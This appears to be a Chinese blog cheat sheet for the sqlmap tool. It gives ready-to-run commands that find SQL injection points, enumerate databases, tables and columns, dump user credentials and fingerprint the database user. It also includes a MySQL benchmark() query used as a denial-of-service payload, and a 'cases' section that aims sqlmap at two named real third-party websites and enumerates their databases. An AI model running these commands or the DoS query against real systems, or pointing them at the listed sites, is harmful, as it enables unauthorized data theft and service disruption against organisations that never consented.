sqlmap-in-action-01

2019-08-13 更新：2019-08-13

检测注入点

GET注入

1	sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5

POST注入

1	sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --data="username=admin" --batch --random-agent --delay=0.5

查询目标存在的数据库

1	sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --dbs

查询指定数据库的表

1	sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --tables -D sql_inject

查询表结构

1	sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --columns -T users -D sql_inject

查询表数据

1	sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --dump -C "id,username, password" -T users -D sql_inject --batch

枚举当前用户

1	sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --current-db --current-user --hostname --is-dba

清除缓存

1
2
3

sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --flush-session --fresh-queries

sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --flush-session --batch

注入详情

1	sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" -v 1

sql ddos

1	select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

案例

http://www.asfaa.org/members.php?id=1
http://www.katoombagroup.org/details.php?id=56


sqlmap -u "http://www.asfaa.org/members.php?id=1"  --current-db

sqlmap -u "https://sl.ngrok.spring-cloud.tk/users?username=admin" --batch --random-agent --delay=0.5 --tables -D db83231_asfaa

 python sqlmap.py -u "http://www.katoombagroup.org/details.php?id=56" --batch --random-agent --delay=0.5
 
 


sqlmap -u "http://www.katoombagroup.org/details.php?id=56" --batch --random-agent --delay=0.5 --tables -D katoomba_LearningTools

|阅读量()